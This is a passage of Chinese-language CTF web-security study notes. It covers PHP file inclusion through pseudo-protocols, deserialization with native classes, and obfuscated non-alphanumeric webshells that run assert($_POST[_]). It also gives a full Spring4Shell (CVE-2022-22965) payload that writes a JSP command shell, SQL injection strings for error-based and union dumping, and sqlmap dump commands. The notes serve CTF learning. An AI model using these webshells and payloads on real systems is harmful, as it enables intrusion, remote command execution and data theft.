      轉換的時候,如果將字符串轉換為整形,從字符串非整形的地方截止轉換,如果無法轉換,將會返回0

      <?php
      $i ="2abc";
      switch ($i) {
          case 0:
          case 1:
          case 2:
              echo "i是比3小的數";
              break;
          case 3:
              echo "i等于3";
      }
      結果如下
          i是比3小的數
      
      
      7、文件包含與偽協議

      在C/C++中我們利用#include<>來導入庫,在java/python中我們利用import導入庫,在php中,同樣也有相似的操作include();和其衍生型。

      對于include函數的不安全使用,可以使我們訪問到服務器的一些原本不可見的地址。

      include可以包含本地也可以包含遠程,對于include函數的操作我們常用偽協議來讀取需要的信息。

      php://filter

      php://filter 是一種元封裝器, 設計用于數據流打開時的篩選過濾應用。 這對于一體式(all-in-one)的文件函數非常有用,類似 readfile()、 file() 和 file_get_contents(), 在數據流內容讀取之前沒有機會應用其他過濾器。

      簡單通俗的說,這是一個中間件,在讀入或寫入數據的時候對數據進行處理后輸出的一個過程。

      php://filter可以獲取指定文件源碼。當它與包含函數結合時,php://filter流會被當作php文件執行。所以我們一般對其進行編碼,讓其不執行。從而導致 任意文件讀取。

      協議參數

      名稱 描述
      resource=<要過濾的數據流> 這個參數是必須的。它指定了你要篩選過濾的數據流。
      read=<讀鏈的篩選列表> 該參數可選。可以設定一個或多個過濾器名稱,以管道符(`
      write=<寫鏈的篩選列表> 該參數可選。可以設定一個或多個過濾器名稱,以管道符(`
      <;兩個鏈的篩選列表> 任何沒有以 read= 或 write= 作前綴 的篩選器列表會視情況應用于讀或鏈。

      常用:

      php://filter/read=convert.base64-encode/resource=index.php
      php://filter/resource=index.php
      

      利用filter協議讀文件,將index.php通過base64編碼后進行輸出。這樣做的好處就是如果不進行編碼,文件包含后就不會有輸出結果,而是當做php文件執行了,而通過編碼后則可以讀取文件源碼。

      而使用的convert.base64-encode,就是一種過濾器。

      過濾器

      • 字符串過濾器
        該類通常以string開頭,對每個字符都進行同樣方式的處理。

      string.rot13

      一種字符處理方式,字符右移十三位。

      string.toupper

      將所有字符轉換為大寫。

      string.tolower

      將所有字符轉換為小寫。

      string.strip_tags
      這個過濾器就比較有意思,用來處理掉讀入的所有標簽,例如XML的等等。在繞過死亡exit大有用處。

      • 轉換過濾器
        對數據流進行編碼,通常用來讀取文件源碼。

      convert.base64-encode & convert.base64-decode

      base64加密解密

      convert.quoted-printable-encode & convert.quoted-printable-decode

      可以翻譯為可打印字符引用編碼,使用可以打印的ASCII編碼的字符表示各種編碼形式下的字符。

      ----- file_put_content和死亡·雜糅代碼

      data://

      data://,可以讓用戶來控制輸入流,當它與包含函數結合時,用戶輸入的data://流會被當作php文件執行

      1、data://text/plain,
      http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
      
      2、data://text/plain;base64,
      http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
      

      例題(慘痛經歷)[強網杯2022青少年組 web2]

      第六屆“強網杯”青少年專項賽

      file://

      用于訪問本地文件系統,并且不受allow_url_fopen,allow_url_include影響
      file://協議主要用于訪問文件(絕對路徑、相對路徑以及網絡路徑)
      比如:http://www.xx.com?file=file:///etc/passsword

      php://

      在allow_url_fopen,allow_url_include都關閉的情況下可以正常使用
      php://作用為訪問輸入輸出流

      php://input

      php://input可以訪問請求的原始數據的只讀流,將post請求的數據當作php代碼執行。當傳入的參數作為文件名打開時,可以將參數設為php://input,同時post想設置的文件內容,php執行時會將post內容當作文件內容。從而導致任意代碼執行。

      例如:
      http://127.0.0.1/cmd.php?cmd=php://input
      POST數據:<?php phpinfo()?>
      注意:
      當enctype="multipart/form-data"的時候 php://input` 是無效的

      遇到file_get_contents()要想到用php://input繞過。

      zip://,bzip2://,zlib://,phar://

      zip:// 可以訪問壓縮包里面的文件。當它與包含函數結合時,zip://流會被當作php文件執行。從而實現任意代碼執行

      PHP巧用WebDAV繞過URL包含限制Getshell
      8、$_SERVER[]利用
      數組元素 說明
      $_SERVER['PHP_SELF'] | 當前執行腳本的文件名,與 document root 有關。例如,在地址為 http://XXX.XXX.X. 的腳本中使用 $_SERVER['PHP_SELF'] 將得到 /test.php/foo.bar
      $_SERVER['SERVER_ADDR'] 當前運行腳本所在服務器的 IP 地址
      $_SERVER['SERVER_NAME'] 當前運行腳本所在服務器的主機名。如果腳本運行于虛擬主機中,該名稱就由那個虛擬主機所設置的值決定
      $_SERVER['SERVER_PROTOCOL'] 請求頁面時通信協議的名稱和版本。例如,“HTTP/1.0”
      $_SERVER['REQUEST_METHOD'] 訪問頁面使用的請求方法。例如“GET”“HEAD”“POST”“PUT”
      $_SERVER['DOCUMENT_ROOT'] 當前運行腳本所在的文檔根目錄。在服務器配置文件中定義
      $_SERVER['HTTP_ACCEPT_LANGUAGE'] 當前請求頭中 Accept-Language: 項的內容(如果存在)。例如,“en”
      $_SERVER['REMOVE_ADDR'] | 瀏覽當前頁面的用戶 IP 地址,注意與 $_SERVER['SERVER_ADDR'] 的區別
      $_SERVER['SCRIPT_FILENAME'] 當前執行腳本的絕對路徑
      $_SERVER['SCRIPT_NAME'] 包含當前腳本的路徑
      $_SERVER['REQUEST_URI'] URI 用來指定要訪問的頁面。例如,“index.html”
      $_SERVER['PATH_INFO'] | 包含由客戶端提供的、跟在真實腳本名稱之后并且在查詢語句(query string)之前的路徑信息(如果存在)。例如,當前腳本是通過 URL http://c.biancheng.net/php/path_info.php/some/stuff?foo=bar 被訪問的,那么 $_SERVER['PATH_INFO'] 將包含 /some/stuff

      反序列化漏洞

      php通過serialize()對一些類的對象進行序列化,之后通過unserialize()進行反序列化,在對象的生命周期中會調用多種魔術方法,我們可以將惡意代碼注入到對象中,利用對象的魔術方法執行惡意代碼。

      被序列化的對象可以有如下解讀:

      O:4:"Test":3:{s:7:"Testa";s:7:"private";s:1:"b";s:6:"public";s:4:"*c";s:9:"protected";}
      

      第一部分:O:4:"Test":3:
      O 表示一個對象 object
      4  對象名稱的長度為4
      Test 對象的名稱
      3  對象有3個屬性(變量)
      第二部分:{s:7:"Testa";s:7:"private";s:1:"b";s:6:"public";s:4:"c";s:9:"protected";}
      s:7:"Testa";s:7:"private";
      s 變量名字符串string
      7 變量名的長度為7  /x00Test/x00a
      s 變量值字符串string
      7 變量值的長度
      private 變量值的內容
      s:1:"b";s:6:"public";
      相同的解釋
      s:4:"*c";s:9:"protected";
      4 變量名的長度為4  /x00
      /x00c

      可以見到,序列化后的對象自帶一定的參數,只要我們知道了對象的類組成,就可以在原來代碼的基礎上重新構建代碼做到對象屬性的修改。由于面向對象的多態性,只要符合原來類的屬性與方法的對象,都是正確的。

      特別地,有一些反序列化中常用的技巧——

      利用原生類

      當沒有提供給我們使用的類時,可以考慮利用原生類進行惡意操作。顧名思義,原生類默認在所有php中被繼承,所以可以輕松使用這些原生類構造惡意對象。

      -DirectoryIterator類

      DirectoryIterator 類提供了一個用于查看文件系統目錄內容的簡單接口。該類的構造方法將會創建一個指定目錄的迭代器。

      DirectoryIterator 類會創建一個指定目錄的迭代器。當執行到echo函數時,會觸發DirectoryIterator類中的 __toString() 方法,輸出指定目錄里面經過排序之后的第一個文件名:

      例如:

      <?php
      $dir=new DirectoryIterator("/");
      echo $dir;
      

      這個查不出來什么,如果想輸出全部的文件名我們還需要對$dir對象進行遍歷:

      <?php
      $dir=new DirectoryIterator("/");
      foreach($dir as $tmp){
          echo($tmp.'\<br>');
          //echo($tmp->toString().'\<br>); //與上句效果一樣
      }
      

      代碼里兩個語句一樣,這也印證了之前說的echo觸發了Directorylterator 中的toString()方法 。

      我們也可以配合glob://協議使用模式匹配來尋找我們想要的文件路徑:

      <?php
      $dir=new DirectoryIterator("glob:///*php*");
      echo $dir;
      

      也可以通過目錄穿越,確定我們已知的文件的具體路徑:

      <?php
      $dir=new DirectoryIterator("glob://./././flag.txt");  //目錄穿越
      echo $dir;
      

      -FilesystemIterator 類
      FilesystemIterator 類與 DirectoryIterator 類相同,提供了一個用于查看文件系統目錄內容的簡單接口。該類的構造方法將會創建一個指定目錄的迭代器。

      該類的使用方法與DirectoryIterator 類也是基本相同的:(子類與父類的關系)

      <?php
      $dir=new FilesystemIterator("/");
      echo $dir;
      
      <?php
      $dir=new FilesystemIterator("/");
      foreach($dir as $tmp){
          echo($tmp.'<br>');
          //echo($f->__toString().'<br>');
      }
      

      小發現:經 php_study 測試發現,如果123.php文件在D://phpstudy_Pro/WWW/ 下。我們可用于確定路徑的文件也必須在其中,如D:// 或 D://phpstudy_Pro 或 D://php_study_Pro/WWW 。

      -GlobIterator 類
      GlobIterator 類也可以遍歷一個文件目錄,使用方法與前兩個類也基本相似。但與上面略不同的是其行為類似于 glob()函數,可以通過模式匹配來尋找文件路徑。使用這個類不需要額外寫上glob://

      還有:

      Directorylterator類 與 FilesystemIterator 類當我們使用echo函數輸出的時候,會觸發這兩個類中的 __toString() 方法,輸出指定目錄里面特定排序之后的第一個文件名。也就是說如果我們不循環遍歷的話是不能看到指定目錄里的全部文件的。而GlobIterator 類在一定程度上解決了這個問題。由于 GlobIterator 類支持直接通過模式匹配來尋找文件路徑,也就是說假設我們知道一個文件名的一部分,我們可以通過該類的模式匹配找到其完整的文件名。例如:例題里我們知道了flag的文件名特征為 以f開頭的.txt文件,因此我們可以通過 GlobIterator類來模式匹配:

      <?php
      $dir=new GlobIterator("f*txt");
      echo $dir;
      

      可讀取文件類

      -SplFileObject 類
      SplFileObject 類和 SplFileinfo為單個文件的信息提供了一個高級的面向對象的接口,可以用于對文件內容的遍歷、查找、操作等

      <?php
      $dir=new SplFileObject("/flag.txt");
      echo $dir;
      ?>
      //但是這樣也只能讀取一行,要想全部讀取的話還需要對文件中的每一行內容進行遍歷:
      
      <?php
          $dir = new SplFileObject("/flag.txt");
          foreach($dir as $tmp){
              echo ($tmp.'<br>');
          }
      ?>
      

      最后,形如:

      echo new $this->key($this->value);
      
      $this -> a = new $this->key($this->value);
      echo $this->a;
      

      沒有pop鏈的思路和可利用反序列化的函數,一般就是需要用原生類了。

      只需要讓\(this->key值賦為我們想用原生函數,\)this->value賦為路徑,查就行了。但是這種構造類型的方法的局限性就是只能查一個路徑上的第一個文件。

      phar格式化反序列化

      [[SWPUCTF 2021 新生賽]babyunser (ctfer.vip)](https://www.ctfer.vip/problem/466)==>SWPU-babyunser

      隨機數預測

      [[GWCTF 2019]枯燥的抽獎](https://blog.csdn.net/qq_43801002/article/details/107760064)

      php提供生成隨機數的函數mt_scrand(seed),而生成的偽隨機數是線性的,我們可以通過生成的隨機數反推種子,進而獲得想要的內容。

      WAF繞過

      垃圾數據法
      1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&flag=php://filter/convert.base64-encode/resource=flag.php
      

      WebShell

      無字母數字RCE

      一些不包含數字和字母的webshell | 離別歌 (leavesongs.com)

      根本來看,無字母數字RCE就是利用php動態執行的特點拼湊payload

      <?php
      $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
      $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
      $___=$$__;
      $_($___[_]); // assert($_POST[_]);
      
      <?php
      $__=('>'>'<')+('>'>'<');
      $_=$__/$__;
      
      $____='';
      $___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
      
      $_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
      
      $_=$$_____;
      $____($_[$__]);
      

      3.利用php對字符串自增操作的特性

      PHP: 遞增/遞減運算符 - Manual

      <?php
      $_=[];
      $_=@"$_"; // $_='Array';
      $_=$_['!'=='@']; // $_=$_[0];
      $___=$_; // A
      $__=$_;
      $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
      $___.=$__; // S
      $___.=$__; // S
      $__=$_;
      $__++;$__++;$__++;$__++; // E
      $___.=$__;
      $__=$_;
      $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
      $___.=$__;
      $__=$_;
      $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
      $___.=$__;
      
      $____='_';
      $__=$_;
      $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
      $____.=$__;
      $__=$_;
      $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
      $____.=$__;
      $__=$_;
      $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
      $____.=$__;
      $__=$_;
      $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
      $____.=$__;
      
      $_=$$____;
      $___($_[_]); // ASSERT($_POST[_]);
      

      (二)asp

      (三)java

      Spring框架

      我們可以認為Spring是一個超級粘合平臺,除了自己提供功能外,還提供粘合其他技術和框架的能力,從而使我們可以更自由的選擇到底使用什么技術進行開發。

      Spring除了不能幫我們寫業務邏輯,卻能幫助我們簡化開發,有以下幾點:

      1. Spring能幫我們根據配置文件創建及組裝對象之間的依賴關系。
      2. Spring面向切面編程能幫助我們無耦合的實現日志記錄,性能統計,安全控制。
      3. Spring能非常簡單的幫我們管理數據庫事務。
      4. Spring還提供了與第三方數據訪問框架(如Hibernate、JPA)無縫集成,而且自己也提供了一套JDBC訪問模板,來方便數據庫訪問。
      5. Spring還提供與第三方Web(如Struts、JSF)框架無縫集成,而且自己也提供了一套Spring MVC框架,來方便web層搭建。
      6. Spring能方便的與Java EE(如Java Mail、任務調度)整合,與更多技術整合(比如緩存框架)。

      有幾個概念需要了解:

      應用程序:是能完成我們所需要功能的成品,比如購物網站、OA系統、ERP系統。

      框架:是能完成一定功能的半成品,比如我們可以使用框架進行購物網站開發;框架做一部分功能,我們自己做一部分功能,這樣應用程序就創建出來了。而且框架規定了你在開發應用程序時的整體架構,提供了一些基礎功能,還規定了類和對象的如何創建、如何協作等,從而簡化我們開發,讓我們專注于業務邏輯開發。

      非侵入式設計:從框架角度可以這樣理解,無需繼承框架提供的類,這種設計就可以看作是非侵入式設計,如果繼承了這些框架類,就是侵入設計,如果以后想更換框架之前寫過的代碼幾乎無法重用,如果非侵入式設計則之前寫過的代碼仍然可以繼續使用。

      輕量級&重量級:輕量級是相對于重量級而言的,輕量級一般就是非入侵性的、所依賴的東西非常少、資源占用非常少、部署簡單等等,其實就是比較容易使用,而重量級正好相反。

      POJO:POJO(Plain Old Java Objects)簡單的Java對象,它可以包含業務邏輯或持久化邏輯,但不擔當任何特殊角色且不繼承或不實現任何其它Java框架的類或接口。

      容器:在日常生活中容器就是一種盛放東西的器具,從程序設計角度看就是裝對象的的對象,因為存在放入、拿出等操作,所以容器還要管理對象的生命周期。

      控制反轉:即Inversion of Control,縮寫為IoC,控制反轉還有一個名字叫做依賴注入(Dependency Injection),就是由容器控制程序之間的關系,而非傳統實現中,由程序代碼直接操控。

      Bean:一般指容器管理對象,在Spring中指Spring IoC容器管理對象。

      Spring框架漏洞
      • CVE-2022-22965

      2022年3月29日,Spring框架曝出RCE 0day漏洞。已經證實由于 SerializationUtils#deserialize 基于 Java 的序列化機制,可導致遠程代碼執行 (RCE),使用JDK9及以上版本皆有可能受到影響。Springmvc框架參數綁定功能,綁定了請求里的參數造成變量注入,攻擊者可以實現任意文件寫入,漏洞點spring-beans包中。

      payload:

      class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
      
      suffix: %>//
      c1: Runtime
      c2: <%
      DNT: 1
      
      class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
      

      原理:

      CVE-2022-22965:Spring core RCE漏洞

      Spring Core rce漏洞分析(CVE-2022-22965)

      Apache Struts2

      Struts2 S2-061 遠程命令執行漏洞(CVE-2020-17530)

      S2-062 遠程命令執行漏洞復現(cve-2021-31805)

      (四)python

      【一文掌握CTF中Python全部考點 】

      【以 Bypass 為中心譚談 Flask-jinja2 SSTI 的利用】

      python序列化對象和反序列化

      python提供了兩個模塊picklejson,可以使用它們對對象進行序列化。

      #dumps將對象序列化為字節數據
      >>> import pickle
      >>> ls = [1,2,3]
      >>> data = pickle.dumps(ls)
      >>> data
      b'\x80\x04\x95\x0b\x00\x00\x00\x00\x00\x00\x00]\x94(K\x01K\x02K\x03e.'
      >>> f=open("a.txt",mode="wb")
      >>> f.write(data)
      22
      >>> f.close()
      
      >>> f=open("a.txt",mode="rb")
      >>> f.read()
      b'\x80\x04\x95\x0b\x00\x00\x00\x00\x00\x00\x00]\x94(K\x01K\x02K\x03e.'
      >>> f.close()
      #dump將對象序列化為字節數據并且保存到file文件中
      >>> ls=[2,3,4]
      >>> pickle.dump(ls,open("a.txt",mode="wb"))
      >>> f=open("a.txt",mode="rb")
      >>> f.read()
      b'\x80\x04\x95\x0b\x00\x00\x00\x00\x00\x00\x00]\x94(K\x02K\x03K\x04e.'
      
      #loads將字節數據反序列化為對象
      >>> f =open("a.txt","rb")
      >>> show = f.read()
      >>> show
      b'\x80\x04\x95\x0f\x00\x00\x00\x00\x00\x00\x00]\x94(K\x01K\x02K\x03K\x04K\x05e.'
      >>> show=pickle.loads(show)
      >>> show
      [1, 2, 3, 4, 5]
      >>> f.close()
      #load將file中的字節數據反序列化為對象
      >>> pickle.load(open("a.txt","rb"))
      [1, 2, 3, 4, 5]
      
      
      #dumps方法
      >>> import json
      >>> d={"usename":"zhangsan","age":17}
      >>> json.dumps(d)
      '{"usename": "zhangsan", "age": 17}'
      >>> s=json.dumps(d)
      >>> f=open("a.txt","wt")
      >>> f.write(s)
      34
      >>> f.close()
      
      #loads方法
      >>> f=open("a.txt","rt")
      >>> ss = f.read()
      >>> ss
      '{"usename": "zhangsan", "age": 17}'
      >>> json.loads(ss)
      {'usename': 'zhangsan', 'age': 17}
      >>> dd = json.loads(ss)
      >>> dd
      {'usename': 'zhangsan', 'age': 17}
      >>> f.close()
      

      五、數據庫繞過與利用

      (一)SQL語句與注入

      SQL注入WIKI (radare.cn)

      SQL注入(巨詳解) - 美式加糖 - 博客園 (cnblogs.com)

      sql注入詳解_山山而川'的博客-CSDN博客_sql注入

      常見的爆庫操作

      order by試出有幾列
      暴露數據庫名稱
      id = -1' union select 1,database,3 --+
      
      暴露表名稱(查詢該數據庫下所有表)
      id = -1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=<數據庫名> --+
      
      暴露字段名(查詢該表下所有字段)
      id = -1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=<數據庫名> and table_name=<表名> --+
      id = -1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+
      
      查數據
      id=-1' union select 1,group_concat(username,0x5c,password),3 from security.users --+
      id = -1' union select 1,2,group_concat(id,flag) from test_tb--+
      id = -1' union select 1,2,group_concat(<字段1>,<字段2>) from <表>--+
      
      堆疊注入

      本質就是多個命令一起注入,用分號隔開。

      萬用密碼:ffifdyop

      ffifdyop
      經過md5加密后:276f722736c95d99e921722cf9ed621c
      再轉換為字符串:'or'6<亂碼> 即 'or'66?]??!r,??b

      用途:
      select * from admin where password=''or'6<亂碼>'
      就相當于select * from admin where password=''or 1 實現sql注入

      mid(<字符串名稱>,<起始位置>,[長度])

      這個可以用來查看完整的flag

      select columns from `<表名> `

      反引號`不能省略

      關于在這里使用 而不是 ’ 的一些解釋: 兩者在linux下和windows下不同,linux下不區分,windows下區分。 單引號 ’ 或雙引號主要用于 字符串的引用符號 反勾號 數據庫、表、索引、列和別名用的是引用符是反勾號 (注:Esc下面的鍵)
      有MYSQL保留字作為字段的,必須加上反引號來區分!!!
      如果是數值,請不要使用引號。

      concat拼接
      prepare

      因為select被過濾了,所以先將select * from 1919810931114514進行16進制編碼

      再通過構造payload得

      ;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

      進而得到flag
      prepare…from…是預處理語句,會進行編碼轉換。

      execute用來執行由SQLPrepare創建的SQL語句。

      SELECT可以在一條語句里對多個變量同時賦值,而SET只能一次對一個變量賦值。

      原文鏈接:https://blog.csdn.net/qq_44657899/article/details/103239145

      SQL字符替換

      1.只過濾了空格
      除了空格,在代碼中可以代替的空白符還有%0a、%0b、%0c、%0d、%09、%a0(均為URL編碼,%a0在特定字符集才能利用)和/**/組合、括號等。
      在MySQL中,關鍵字是不區分大小寫的,如果只匹配了"SELECT",便能用大小寫混寫的方式輕易繞過,如"sEleCT"。

      2.正則匹配
      正則匹配關鍵字"\bselect\b"可以用形如"/!50000select/"的方式繞過

      SQL報錯注入

      BigInt數據類型溢出:

      exp(int)函數返回e的x次方,當x的值足夠大的時候就會導致函數的結果數據類型溢出,也就會因此報錯:"DOUBLE value is out of range"

      例:

      ?id=1" and exp(~(select * from (select user())a)) --+
      先查詢select user()這個語句的結果,然后將查詢出來的數據作為一個結果集取名為a

      然后在查詢select * from a 查詢a,將結果集a全部查詢出來

      查詢完成,語句成功執行,返回值為0,再取反(~按位取反運算符),exp調用的時候e的那個數的次方,就會造成BigInt大數據類型溢出,就會報錯

      payload:

      獲取表名:

      ?id=1" and exp(~(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)a)) --+
      //獲取列名:
      
      ?id=1" and exp(~(select * from (select column_name from information_schema.columns where table_name='users' limit 0,1)a)) --+
      //獲取列名對應信息:
      
      ?id=1" and exp(~(select * from(select username from 'users' limit 0,1))) --+
      

      適用mysql數據庫版本是:5.5.5~5.5.49

      除了exp()函數之外,pow()之類的相似函數同樣可以利用BigInt數據溢出的方式進行報錯注入

      函數參數格式錯誤:

      兩個重要函數:updatexml() extractvalue ()

      我們就需要構造Xpath_string格式錯誤,也就是我們將Xpath_string的值傳遞成不符合格式的參數,mysql就會報錯

      updatexml()函數語法:updatexml(XML_document,Xpath_string,new_value)

      XML_document:是字符串String格式,為XML文檔對象名稱

      Xpath_string:Xpath格式的字符串

      new_value:string格式,替換查找到的符合條件的數據

      查詢當前數據庫的用戶信息以及數據庫版本信息:

      ?id=1" and updatexml(1,concat(0x7e,user(),0x7e,version(),0x7e),3) --+
      

      獲取當前數據庫下數據表信息:

      ?id=1" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),3) --+
      

      獲取users表名的列名信息:

      ?id=1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),3) --+
      

      獲取users數據表下username、password兩列名的用戶字段信息:

      ?id=1" and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),3) --+
      
      ?id=1" and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),3) --+
      

      extractvalue()函數語法:extractvalue(XML_document,XPath_string)

      獲取當前是數據庫名稱及使用mysql數據庫的版本信息:

      ?id=1" and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e)) --+
      

      獲取當前位置所用數據庫的位置:

      ?id=1" and extractvalue(1,concat(0x7e,@@datadir,0x7e)) --+
      

      獲取表名:

      ?id=1" and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) --+
      

      獲取users表的列名:

      ?id=1" and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e)) --+
      

      獲取對應的列名的信息(username/password):

      ?id=1" and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e)) --+
      

      常見函數

      concat_();

      concat ()方法用于連接兩個或多個數組。
      該方法不會改變現有的數組,而僅僅會返回被連接數組的一個副本。
      返回一個新的數組。該數組是通過把所有 arrayX 參數添加到 arrayObject 中生成的。如果要進行 concat 操作的參數是數組,那么添加的是數組中的元素,而不是數組。

      sqlmap

      快速上手開始使用:
      sqlmap -u http://xxx.xxx.xxx
      查詢是否可以注入
      sqlmap -u http://xxx.xxx.xxx --dbs
      查詢數據庫
      sqlmap -u http://xxx.xxx.xxx -D <DatabaseName> --tables
      查詢表
      sqlmap -u http://xxx.xxx.xxx -D <DatabaseName> -T <TableName> --columns
      查詢列
      sqlmap -u http://xxx.xxx.xxx -D <DatabaseName> -T <TableName> -C <ColumnName> --dump
      讀取字段
      
      一.介紹
      • 開源的SQL注入漏洞檢測的工具,能夠檢測動態頁面中的get/post參數,cookie,http頭,還能夠查看數據,文件系統訪問,甚至能夠操作系統命令執行。
      • 檢測方式:布爾盲注、時間盲注、報錯注入、UNION聯合查詢注入、堆疊注入
      • 支持數據庫:Mysql、Oracle、PostgreSQL、MSSQL、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDb
      二.基本參數

      —update: 更新

      python sqlmap.py —update

      -h:查看常用參數

      python sqlmap.py -h

      -hh:查看全部參數

      python sqlmap.py -h

      —version:查看版本

      python sqlmap.py —version

      -v:查看執行過程信息,默認是1,一共 0 ~ 6

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -v 3

      -d : mysql表示數據庫類型、user:password表示目標服務器的賬號和密碼,@后表示要連接的服務器,3306表示端口,zakq_ dababasename表示連接的數據庫名稱

      python sqlmap.py -d “mysql://root:root@192.168.126.128:3386/zkaq_databasename”

      —wizard : 向導式

      python sqlmap.py —wizard

      三.確定目標

      -u “URL” : 指定URL,get請求方式

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1

      -m url.txt ::使用一個包含多個url的文件進行掃描。若有重復,sqlmap會自動識別成一個。

      python sqlmap.py -m url.txt

      -g :掃描,使用Google語法得到的url。

      python sqlmap.py -g “inurl:\”.php?id=1\”

      -r request.txt : Post提交方式,使用HTTP請求文件,該文件可從BurpSuit中導出。(BurpSuit抓包—>將請求復制到txt中即可)

      python sqlmap.py -r request.txt

      -l log.txt —scope=”正則表達式” :Post提交方式,使用BurpSuit的log文件。(Options—>Misc—>Logging—>Proxy—>勾選Request ,scope的作用是 基于正則表達式去過濾日志內容,篩選需要掃描的對象。

      python sqlmap.py -l log.txt —scope=”(www)?.target.(com|net|arg)”

      -c sqlmap.conf :使用配置文件進行掃描 (sqlmap.conf與sqlmap.py 在同一目錄)

      python sqlmap.py -c sqlmap.conf

